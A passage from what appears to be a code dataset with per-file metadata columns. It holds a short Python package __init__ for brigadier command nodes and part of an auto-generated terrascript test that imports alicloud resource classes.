| 14.2 | 42 | 0.690141 | 11 | 71 | 4.454545 | 0.636364 | 0.367347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.197183 | 71 | 4 | 43 | 17.75 | 0.859649 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
e47aa950c23ae5083dfc6c342fda7b11d37a2c39 | 192 | py | Python | brigadier/tree/__init__.py | NickNackGus/brigadier.py | 43b315446711af3e313bdbb4b0b13a75f6f3a19e | [
"MIT"
] | null | null | null | brigadier/tree/__init__.py | NickNackGus/brigadier.py | 43b315446711af3e313bdbb4b0b13a75f6f3a19e | [
"MIT"
] | 1 | 2020-11-03T00:20:41.000Z | 2020-11-04T06:16:16.000Z | brigadier/tree/__init__.py | NickNackGus/brigadier.py | 43b315446711af3e313bdbb4b0b13a75f6f3a19e | [
"MIT"
] | 1 | 2020-11-02T23:55:34.000Z | 2020-11-02T23:55:34.000Z | from .argument_command_node import ArgumentCommandNode
from .command_node import CommandNode
from .literal_command_node import LiteralCommandNode
from .root_command_node import RootCommandNode | 48 | 54 | 0.901042 | 23 | 192 | 7.217391 | 0.478261 | 0.26506 | 0.409639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078125 | 192 | 4 | 55 | 48 | 0.937853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
5f51fb985ac79d0429b997e12f7bcad19aaaca34 | 67,638 | py | Python | tests/test_provider_aliyun_alicloud.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 507 | 2017-07-26T02:58:38.000Z | 2022-01-21T12:35:13.000Z | tests/test_provider_aliyun_alicloud.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 135 | 2017-07-20T12:01:59.000Z | 2021-10-04T22:25:40.000Z | tests/test_provider_aliyun_alicloud.py | mjuenema/python-terrascript | 6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d | [
"BSD-2-Clause"
] | 81 | 2018-02-20T17:55:28.000Z | 2022-01-31T07:08:40.000Z | # tests/test_provider_aliyun_alicloud.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:11:24 UTC)
def test_provider_import():
import terrascript.provider.aliyun.alicloud
def test_resource_import():
from terrascript.resource.aliyun.alicloud import alicloud_actiontrail
from terrascript.resource.aliyun.alicloud import alicloud_actiontrail_trail
from terrascript.resource.aliyun.alicloud import alicloud_adb_account
from terrascript.resource.aliyun.alicloud import alicloud_adb_backup_policy
from terrascript.resource.aliyun.alicloud import alicloud_adb_cluster
from terrascript.resource.aliyun.alicloud import alicloud_adb_connection
from terrascript.resource.aliyun.alicloud import alicloud_adb_db_cluster
from terrascript.resource.aliyun.alicloud import alicloud_alb_acl
from terrascript.resource.aliyun.alicloud import alicloud_alb_health_check_template
from terrascript.resource.aliyun.alicloud import alicloud_alb_listener
from terrascript.resource.aliyun.alicloud import alicloud_alb_load_balancer
from terrascript.resource.aliyun.alicloud import alicloud_alb_rule
from terrascript.resource.aliyun.alicloud import alicloud_alb_security_policy
from terrascript.resource.aliyun.alicloud import alicloud_alb_server_group
from terrascript.resource.aliyun.alicloud import alicloud_alidns_domain
from terrascript.resource.aliyun.alicloud import alicloud_alidns_domain_attachment
from terrascript.resource.aliyun.alicloud import alicloud_alidns_domain_group
from terrascript.resource.aliyun.alicloud import alicloud_alidns_instance
from terrascript.resource.aliyun.alicloud import alicloud_alidns_record
from terrascript.resource.aliyun.alicloud import alicloud_alikafka_consumer_group
from terrascript.resource.aliyun.alicloud import alicloud_alikafka_instance
from terrascript.resource.aliyun.alicloud import alicloud_alikafka_sasl_acl
from terrascript.resource.aliyun.alicloud import alicloud_alikafka_sasl_user
from terrascript.resource.aliyun.alicloud import alicloud_alikafka_topic
from terrascript.resource.aliyun.alicloud import alicloud_amqp_binding
from terrascript.resource.aliyun.alicloud import alicloud_amqp_exchange
from terrascript.resource.aliyun.alicloud import alicloud_amqp_instance
from terrascript.resource.aliyun.alicloud import alicloud_amqp_queue
from terrascript.resource.aliyun.alicloud import alicloud_amqp_virtual_host
from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_api
from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_app
from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_app_attachment
from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_group
from terrascript.resource.aliyun.alicloud import alicloud_api_gateway_vpc_access
from terrascript.resource.aliyun.alicloud import alicloud_arms_alert_contact
from terrascript.resource.aliyun.alicloud import alicloud_arms_alert_contact_group
from terrascript.resource.aliyun.alicloud import alicloud_arms_dispatch_rule
from terrascript.resource.aliyun.alicloud import alicloud_arms_prometheus_alert_rule
from terrascript.resource.aliyun.alicloud import alicloud_auto_provisioning_group
from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_host
from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_host_account
from terrascript.resource.aliyun.alicloud import (
alicloud_bastionhost_host_account_user_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_bastionhost_host_account_user_group_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_bastionhost_host_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_host_group
from terrascript.resource.aliyun.alicloud import (
alicloud_bastionhost_host_group_account_user_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_bastionhost_host_group_account_user_group_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_instance
from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_user
from terrascript.resource.aliyun.alicloud import (
alicloud_bastionhost_user_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_bastionhost_user_group
from terrascript.resource.aliyun.alicloud import alicloud_brain_industrial_pid_loop
from terrascript.resource.aliyun.alicloud import (
alicloud_brain_industrial_pid_organization,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_brain_industrial_pid_project,
)
from terrascript.resource.aliyun.alicloud import alicloud_cas_certificate
from terrascript.resource.aliyun.alicloud import alicloud_cassandra_backup_plan
from terrascript.resource.aliyun.alicloud import alicloud_cassandra_cluster
from terrascript.resource.aliyun.alicloud import alicloud_cassandra_data_center
from terrascript.resource.aliyun.alicloud import alicloud_cddc_dedicated_host_group
from terrascript.resource.aliyun.alicloud import alicloud_cdn_domain
from terrascript.resource.aliyun.alicloud import alicloud_cdn_domain_config
from terrascript.resource.aliyun.alicloud import alicloud_cdn_domain_new
from terrascript.resource.aliyun.alicloud import alicloud_cdn_real_time_log_delivery
from terrascript.resource.aliyun.alicloud import alicloud_cen_bandwidth_limit
from terrascript.resource.aliyun.alicloud import alicloud_cen_bandwidth_package
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_bandwidth_package_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_cen_flowlog
from terrascript.resource.aliyun.alicloud import alicloud_cen_instance
from terrascript.resource.aliyun.alicloud import alicloud_cen_instance_attachment
from terrascript.resource.aliyun.alicloud import alicloud_cen_instance_grant
from terrascript.resource.aliyun.alicloud import alicloud_cen_private_zone
from terrascript.resource.aliyun.alicloud import alicloud_cen_route_entry
from terrascript.resource.aliyun.alicloud import alicloud_cen_route_map
from terrascript.resource.aliyun.alicloud import alicloud_cen_route_service
from terrascript.resource.aliyun.alicloud import alicloud_cen_transit_router
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_peer_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_route_entry,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_route_table,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_route_table_association,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_route_table_propagation,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_vbr_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cen_transit_router_vpc_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_cen_vbr_health_check
from terrascript.resource.aliyun.alicloud import alicloud_click_house_account
from terrascript.resource.aliyun.alicloud import alicloud_click_house_db_cluster
from terrascript.resource.aliyun.alicloud import alicloud_cloud_connect_network
from terrascript.resource.aliyun.alicloud import (
alicloud_cloud_connect_network_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cloud_connect_network_grant,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cloud_firewall_control_policy,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cloud_firewall_control_policy_order,
)
from terrascript.resource.aliyun.alicloud import alicloud_cloud_sso_directory
from terrascript.resource.aliyun.alicloud import (
alicloud_cloud_storage_gateway_gateway,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_cloud_storage_gateway_storage_bundle,
)
from terrascript.resource.aliyun.alicloud import alicloud_cms_alarm
from terrascript.resource.aliyun.alicloud import alicloud_cms_alarm_contact
from terrascript.resource.aliyun.alicloud import alicloud_cms_alarm_contact_group
from terrascript.resource.aliyun.alicloud import alicloud_cms_group_metric_rule
from terrascript.resource.aliyun.alicloud import alicloud_cms_metric_rule_template
from terrascript.resource.aliyun.alicloud import alicloud_cms_monitor_group
from terrascript.resource.aliyun.alicloud import (
alicloud_cms_monitor_group_instances,
)
from terrascript.resource.aliyun.alicloud import alicloud_cms_site_monitor
from terrascript.resource.aliyun.alicloud import alicloud_common_bandwidth_package
from terrascript.resource.aliyun.alicloud import (
alicloud_common_bandwidth_package_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_config_aggregate_compliance_pack,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_config_aggregate_config_rule,
)
from terrascript.resource.aliyun.alicloud import alicloud_config_aggregator
from terrascript.resource.aliyun.alicloud import alicloud_config_compliance_pack
from terrascript.resource.aliyun.alicloud import (
alicloud_config_configuration_recorder,
)
from terrascript.resource.aliyun.alicloud import alicloud_config_delivery_channel
from terrascript.resource.aliyun.alicloud import alicloud_config_rule
from terrascript.resource.aliyun.alicloud import alicloud_container_cluster
from terrascript.resource.aliyun.alicloud import alicloud_copy_image
from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_instance
from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_namespace
from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_repo
from terrascript.resource.aliyun.alicloud import alicloud_cr_ee_sync_rule
from terrascript.resource.aliyun.alicloud import alicloud_cr_namespace
from terrascript.resource.aliyun.alicloud import alicloud_cr_repo
from terrascript.resource.aliyun.alicloud import alicloud_cs_application
from terrascript.resource.aliyun.alicloud import alicloud_cs_autoscaling_config
from terrascript.resource.aliyun.alicloud import alicloud_cs_edge_kubernetes
from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes
from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes_autoscaler
from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes_node_pool
from terrascript.resource.aliyun.alicloud import alicloud_cs_kubernetes_permissions
from terrascript.resource.aliyun.alicloud import alicloud_cs_managed_kubernetes
from terrascript.resource.aliyun.alicloud import alicloud_cs_serverless_kubernetes
from terrascript.resource.aliyun.alicloud import alicloud_cs_swarm
from terrascript.resource.aliyun.alicloud import alicloud_data_works_folder
from terrascript.resource.aliyun.alicloud import alicloud_database_gateway_gateway
from terrascript.resource.aliyun.alicloud import alicloud_datahub_project
from terrascript.resource.aliyun.alicloud import alicloud_datahub_subscription
from terrascript.resource.aliyun.alicloud import alicloud_datahub_topic
from terrascript.resource.aliyun.alicloud import alicloud_db_account
from terrascript.resource.aliyun.alicloud import alicloud_db_account_privilege
from terrascript.resource.aliyun.alicloud import alicloud_db_backup_policy
from terrascript.resource.aliyun.alicloud import alicloud_db_connection
from terrascript.resource.aliyun.alicloud import alicloud_db_database
from terrascript.resource.aliyun.alicloud import alicloud_db_instance
from terrascript.resource.aliyun.alicloud import (
alicloud_db_read_write_splitting_connection,
)
from terrascript.resource.aliyun.alicloud import alicloud_db_readonly_instance
from terrascript.resource.aliyun.alicloud import alicloud_dbfs_instance
from terrascript.resource.aliyun.alicloud import alicloud_dcdn_domain
from terrascript.resource.aliyun.alicloud import alicloud_dcdn_domain_config
from terrascript.resource.aliyun.alicloud import alicloud_ddosbgp_instance
from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_domain_resource
from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_instance
from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_port
from terrascript.resource.aliyun.alicloud import alicloud_ddoscoo_scheduler_rule
from terrascript.resource.aliyun.alicloud import alicloud_dfs_access_group
from terrascript.resource.aliyun.alicloud import alicloud_direct_mail_domain
from terrascript.resource.aliyun.alicloud import alicloud_direct_mail_mail_address
from terrascript.resource.aliyun.alicloud import alicloud_direct_mail_receivers
from terrascript.resource.aliyun.alicloud import alicloud_disk
from terrascript.resource.aliyun.alicloud import alicloud_disk_attachment
from terrascript.resource.aliyun.alicloud import alicloud_dms_enterprise_instance
from terrascript.resource.aliyun.alicloud import alicloud_dms_enterprise_user
from terrascript.resource.aliyun.alicloud import alicloud_dns
from terrascript.resource.aliyun.alicloud import alicloud_dns_domain
from terrascript.resource.aliyun.alicloud import alicloud_dns_domain_attachment
from terrascript.resource.aliyun.alicloud import alicloud_dns_group
from terrascript.resource.aliyun.alicloud import alicloud_dns_instance
from terrascript.resource.aliyun.alicloud import alicloud_dns_record
from terrascript.resource.aliyun.alicloud import alicloud_drds_instance
from terrascript.resource.aliyun.alicloud import alicloud_dts_job_monitor_rule
from terrascript.resource.aliyun.alicloud import alicloud_ecd_policy_group
from terrascript.resource.aliyun.alicloud import alicloud_eci_container_group
from terrascript.resource.aliyun.alicloud import alicloud_eci_image_cache
from terrascript.resource.aliyun.alicloud import alicloud_eci_openapi_image_cache
from terrascript.resource.aliyun.alicloud import alicloud_ecp_key_pair
from terrascript.resource.aliyun.alicloud import alicloud_ecs_auto_snapshot_policy
from terrascript.resource.aliyun.alicloud import (
alicloud_ecs_auto_snapshot_policy_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_ecs_command
from terrascript.resource.aliyun.alicloud import alicloud_ecs_dedicated_host
from terrascript.resource.aliyun.alicloud import alicloud_ecs_disk
from terrascript.resource.aliyun.alicloud import alicloud_ecs_disk_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ecs_hpc_cluster
from terrascript.resource.aliyun.alicloud import alicloud_ecs_key_pair
from terrascript.resource.aliyun.alicloud import alicloud_ecs_key_pair_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ecs_launch_template
from terrascript.resource.aliyun.alicloud import alicloud_ecs_network_interface
from terrascript.resource.aliyun.alicloud import (
alicloud_ecs_network_interface_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_ecs_snapshot
from terrascript.resource.aliyun.alicloud import alicloud_edas_application
from terrascript.resource.aliyun.alicloud import (
alicloud_edas_application_deployment,
)
from terrascript.resource.aliyun.alicloud import alicloud_edas_application_scale
from terrascript.resource.aliyun.alicloud import alicloud_edas_cluster
from terrascript.resource.aliyun.alicloud import alicloud_edas_deploy_group
from terrascript.resource.aliyun.alicloud import (
alicloud_edas_instance_cluster_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_edas_k8s_application
from terrascript.resource.aliyun.alicloud import alicloud_edas_k8s_cluster
from terrascript.resource.aliyun.alicloud import alicloud_edas_slb_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ehpc_job_template
from terrascript.resource.aliyun.alicloud import alicloud_eip
from terrascript.resource.aliyun.alicloud import alicloud_eip_address
from terrascript.resource.aliyun.alicloud import alicloud_eip_association
from terrascript.resource.aliyun.alicloud import (
alicloud_eipanycast_anycast_eip_address,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_eipanycast_anycast_eip_address_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_elasticsearch_instance
from terrascript.resource.aliyun.alicloud import alicloud_emr_cluster
from terrascript.resource.aliyun.alicloud import alicloud_ens_key_pair
from terrascript.resource.aliyun.alicloud import alicloud_ess_alarm
from terrascript.resource.aliyun.alicloud import alicloud_ess_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ess_lifecycle_hook
from terrascript.resource.aliyun.alicloud import alicloud_ess_notification
from terrascript.resource.aliyun.alicloud import alicloud_ess_scaling_configuration
from terrascript.resource.aliyun.alicloud import alicloud_ess_scaling_group
from terrascript.resource.aliyun.alicloud import alicloud_ess_scaling_rule
from terrascript.resource.aliyun.alicloud import (
alicloud_ess_scalinggroup_vserver_groups,
)
from terrascript.resource.aliyun.alicloud import alicloud_ess_schedule
from terrascript.resource.aliyun.alicloud import alicloud_ess_scheduled_task
from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_event_bus
from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_event_source
from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_rule
from terrascript.resource.aliyun.alicloud import alicloud_event_bridge_slr
from terrascript.resource.aliyun.alicloud import (
alicloud_express_connect_physical_connection,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_express_connect_virtual_border_router,
)
from terrascript.resource.aliyun.alicloud import alicloud_fc_alias
from terrascript.resource.aliyun.alicloud import alicloud_fc_custom_domain
from terrascript.resource.aliyun.alicloud import alicloud_fc_function
from terrascript.resource.aliyun.alicloud import (
alicloud_fc_function_async_invoke_config,
)
from terrascript.resource.aliyun.alicloud import alicloud_fc_service
from terrascript.resource.aliyun.alicloud import alicloud_fc_trigger
from terrascript.resource.aliyun.alicloud import alicloud_fnf_flow
from terrascript.resource.aliyun.alicloud import alicloud_fnf_schedule
from terrascript.resource.aliyun.alicloud import alicloud_forward_entry
from terrascript.resource.aliyun.alicloud import alicloud_ga_accelerator
from terrascript.resource.aliyun.alicloud import alicloud_ga_bandwidth_package
from terrascript.resource.aliyun.alicloud import (
alicloud_ga_bandwidth_package_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_ga_endpoint_group
from terrascript.resource.aliyun.alicloud import alicloud_ga_forwarding_rule
from terrascript.resource.aliyun.alicloud import alicloud_ga_ip_set
from terrascript.resource.aliyun.alicloud import alicloud_ga_listener
from terrascript.resource.aliyun.alicloud import alicloud_gpdb_connection
from terrascript.resource.aliyun.alicloud import alicloud_gpdb_elastic_instance
from terrascript.resource.aliyun.alicloud import alicloud_gpdb_instance
from terrascript.resource.aliyun.alicloud import alicloud_graph_database_db_instance
from terrascript.resource.aliyun.alicloud import alicloud_havip
from terrascript.resource.aliyun.alicloud import alicloud_havip_attachment
from terrascript.resource.aliyun.alicloud import alicloud_hbase_instance
from terrascript.resource.aliyun.alicloud import alicloud_hbr_ecs_backup_client
from terrascript.resource.aliyun.alicloud import alicloud_hbr_ecs_backup_plan
from terrascript.resource.aliyun.alicloud import alicloud_hbr_nas_backup_plan
from terrascript.resource.aliyun.alicloud import alicloud_hbr_oss_backup_plan
from terrascript.resource.aliyun.alicloud import alicloud_hbr_restore_job
from terrascript.resource.aliyun.alicloud import alicloud_hbr_vault
from terrascript.resource.aliyun.alicloud import alicloud_image
from terrascript.resource.aliyun.alicloud import alicloud_image_copy
from terrascript.resource.aliyun.alicloud import alicloud_image_export
from terrascript.resource.aliyun.alicloud import alicloud_image_import
from terrascript.resource.aliyun.alicloud import alicloud_image_share_permission
from terrascript.resource.aliyun.alicloud import alicloud_imm_project
from terrascript.resource.aliyun.alicloud import alicloud_instance
from terrascript.resource.aliyun.alicloud import alicloud_iot_device_group
from terrascript.resource.aliyun.alicloud import alicloud_key_pair
from terrascript.resource.aliyun.alicloud import alicloud_key_pair_attachment
from terrascript.resource.aliyun.alicloud import alicloud_kms_alias
from terrascript.resource.aliyun.alicloud import alicloud_kms_ciphertext
from terrascript.resource.aliyun.alicloud import alicloud_kms_key
from terrascript.resource.aliyun.alicloud import alicloud_kms_key_version
from terrascript.resource.aliyun.alicloud import alicloud_kms_secret
from terrascript.resource.aliyun.alicloud import alicloud_kvstore_account
from terrascript.resource.aliyun.alicloud import alicloud_kvstore_audit_log_config
from terrascript.resource.aliyun.alicloud import alicloud_kvstore_backup_policy
from terrascript.resource.aliyun.alicloud import alicloud_kvstore_connection
from terrascript.resource.aliyun.alicloud import alicloud_kvstore_instance
from terrascript.resource.aliyun.alicloud import alicloud_launch_template
from terrascript.resource.aliyun.alicloud import alicloud_lindorm_instance
from terrascript.resource.aliyun.alicloud import alicloud_log_alert
from terrascript.resource.aliyun.alicloud import alicloud_log_audit
from terrascript.resource.aliyun.alicloud import alicloud_log_dashboard
from terrascript.resource.aliyun.alicloud import alicloud_log_etl
from terrascript.resource.aliyun.alicloud import alicloud_log_machine_group
from terrascript.resource.aliyun.alicloud import alicloud_log_oss_shipper
from terrascript.resource.aliyun.alicloud import alicloud_log_project
from terrascript.resource.aliyun.alicloud import alicloud_log_store
from terrascript.resource.aliyun.alicloud import alicloud_log_store_index
from terrascript.resource.aliyun.alicloud import alicloud_logtail_attachment
from terrascript.resource.aliyun.alicloud import alicloud_logtail_config
from terrascript.resource.aliyun.alicloud import alicloud_market_order
from terrascript.resource.aliyun.alicloud import alicloud_maxcompute_project
from terrascript.resource.aliyun.alicloud import alicloud_mns_queue
from terrascript.resource.aliyun.alicloud import alicloud_mns_topic
from terrascript.resource.aliyun.alicloud import alicloud_mns_topic_subscription
from terrascript.resource.aliyun.alicloud import alicloud_mongodb_instance
from terrascript.resource.aliyun.alicloud import alicloud_mongodb_sharding_instance
from terrascript.resource.aliyun.alicloud import alicloud_msc_sub_contact
from terrascript.resource.aliyun.alicloud import alicloud_msc_sub_subscription
from terrascript.resource.aliyun.alicloud import alicloud_mse_cluster
from terrascript.resource.aliyun.alicloud import alicloud_nas_access_group
from terrascript.resource.aliyun.alicloud import alicloud_nas_access_rule
from terrascript.resource.aliyun.alicloud import alicloud_nas_file_system
from terrascript.resource.aliyun.alicloud import alicloud_nas_mount_target
from terrascript.resource.aliyun.alicloud import alicloud_nat_gateway
from terrascript.resource.aliyun.alicloud import alicloud_network_acl
from terrascript.resource.aliyun.alicloud import alicloud_network_acl_attachment
from terrascript.resource.aliyun.alicloud import alicloud_network_acl_entries
from terrascript.resource.aliyun.alicloud import alicloud_network_interface
from terrascript.resource.aliyun.alicloud import (
alicloud_network_interface_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_ons_group
from terrascript.resource.aliyun.alicloud import alicloud_ons_instance
from terrascript.resource.aliyun.alicloud import alicloud_ons_topic
from terrascript.resource.aliyun.alicloud import alicloud_oos_execution
from terrascript.resource.aliyun.alicloud import alicloud_oos_template
from terrascript.resource.aliyun.alicloud import alicloud_open_search_app_group
from terrascript.resource.aliyun.alicloud import alicloud_oss_bucket
from terrascript.resource.aliyun.alicloud import alicloud_oss_bucket_object
from terrascript.resource.aliyun.alicloud import alicloud_ots_instance
from terrascript.resource.aliyun.alicloud import alicloud_ots_instance_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ots_table
from terrascript.resource.aliyun.alicloud import alicloud_polardb_account
from terrascript.resource.aliyun.alicloud import alicloud_polardb_account_privilege
from terrascript.resource.aliyun.alicloud import alicloud_polardb_backup_policy
from terrascript.resource.aliyun.alicloud import alicloud_polardb_cluster
from terrascript.resource.aliyun.alicloud import alicloud_polardb_database
from terrascript.resource.aliyun.alicloud import alicloud_polardb_endpoint
from terrascript.resource.aliyun.alicloud import alicloud_polardb_endpoint_address
from terrascript.resource.aliyun.alicloud import alicloud_privatelink_vpc_endpoint
from terrascript.resource.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_connection,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_service,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_service_resource,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_service_user,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_zone,
)
from terrascript.resource.aliyun.alicloud import alicloud_pvtz_zone
from terrascript.resource.aliyun.alicloud import alicloud_pvtz_zone_attachment
from terrascript.resource.aliyun.alicloud import alicloud_pvtz_zone_record
from terrascript.resource.aliyun.alicloud import alicloud_quick_bi_user
from terrascript.resource.aliyun.alicloud import alicloud_quotas_application_info
from terrascript.resource.aliyun.alicloud import alicloud_quotas_quota_alarm
from terrascript.resource.aliyun.alicloud import alicloud_quotas_quota_application
from terrascript.resource.aliyun.alicloud import alicloud_ram_access_key
from terrascript.resource.aliyun.alicloud import alicloud_ram_account_alias
from terrascript.resource.aliyun.alicloud import (
alicloud_ram_account_password_policy,
)
from terrascript.resource.aliyun.alicloud import alicloud_ram_alias
from terrascript.resource.aliyun.alicloud import alicloud_ram_group
from terrascript.resource.aliyun.alicloud import alicloud_ram_group_membership
from terrascript.resource.aliyun.alicloud import (
alicloud_ram_group_policy_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_ram_login_profile
from terrascript.resource.aliyun.alicloud import alicloud_ram_policy
from terrascript.resource.aliyun.alicloud import alicloud_ram_role
from terrascript.resource.aliyun.alicloud import alicloud_ram_role_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ram_role_policy_attachment
from terrascript.resource.aliyun.alicloud import alicloud_ram_saml_provider
from terrascript.resource.aliyun.alicloud import alicloud_ram_user
from terrascript.resource.aliyun.alicloud import alicloud_ram_user_policy_attachment
from terrascript.resource.aliyun.alicloud import alicloud_rds_account
from terrascript.resource.aliyun.alicloud import alicloud_rds_parameter_group
from terrascript.resource.aliyun.alicloud import alicloud_reserved_instance
from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_account
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_control_policy,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_control_policy_attachment,
)
from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_folder
from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_handshake
from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_policy
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_policy_attachment,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_policy_version,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_resource_directory,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_resource_group,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_resource_share,
)
from terrascript.resource.aliyun.alicloud import alicloud_resource_manager_role
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_shared_resource,
)
from terrascript.resource.aliyun.alicloud import (
alicloud_resource_manager_shared_target,
)
from terrascript.resource.aliyun.alicloud import alicloud_ros_change_set
from terrascript.resource.aliyun.alicloud import alicloud_ros_stack
from terrascript.resource.aliyun.alicloud import alicloud_ros_stack_group
from terrascript.resource.aliyun.alicloud import alicloud_ros_template
from terrascript.resource.aliyun.alicloud import alicloud_route_entry
from terrascript.resource.aliyun.alicloud import alicloud_route_table
from terrascript.resource.aliyun.alicloud import alicloud_route_table_attachment
from terrascript.resource.aliyun.alicloud import alicloud_router_interface
from terrascript.resource.aliyun.alicloud import (
alicloud_router_interface_connection,
)
from terrascript.resource.aliyun.alicloud import alicloud_sae_application
from terrascript.resource.aliyun.alicloud import alicloud_sae_config_map
from terrascript.resource.aliyun.alicloud import alicloud_sae_namespace
from terrascript.resource.aliyun.alicloud import alicloud_sag_acl
from terrascript.resource.aliyun.alicloud import alicloud_sag_acl_rule
from terrascript.resource.aliyun.alicloud import alicloud_sag_client_user
from terrascript.resource.aliyun.alicloud import alicloud_sag_dnat_entry
from terrascript.resource.aliyun.alicloud import alicloud_sag_qos
from terrascript.resource.aliyun.alicloud import alicloud_sag_qos_car
from terrascript.resource.aliyun.alicloud import alicloud_sag_qos_policy
from terrascript.resource.aliyun.alicloud import alicloud_sag_snat_entry
from terrascript.resource.aliyun.alicloud import alicloud_scdn_domain
from terrascript.resource.aliyun.alicloud import alicloud_scdn_domain_config
from terrascript.resource.aliyun.alicloud import alicloud_sddp_config
from terrascript.resource.aliyun.alicloud import alicloud_sddp_instance
from terrascript.resource.aliyun.alicloud import alicloud_sddp_rule
from terrascript.resource.aliyun.alicloud import alicloud_security_center_group
from terrascript.resource.aliyun.alicloud import alicloud_security_group
from terrascript.resource.aliyun.alicloud import alicloud_security_group_rule
from terrascript.resource.aliyun.alicloud import (
alicloud_simple_application_server_instance,
)
from terrascript.resource.aliyun.alicloud import alicloud_slb
from terrascript.resource.aliyun.alicloud import alicloud_slb_acl
from terrascript.resource.aliyun.alicloud import alicloud_slb_attachment
from terrascript.resource.aliyun.alicloud import alicloud_slb_backend_server
from terrascript.resource.aliyun.alicloud import alicloud_slb_ca_certificate
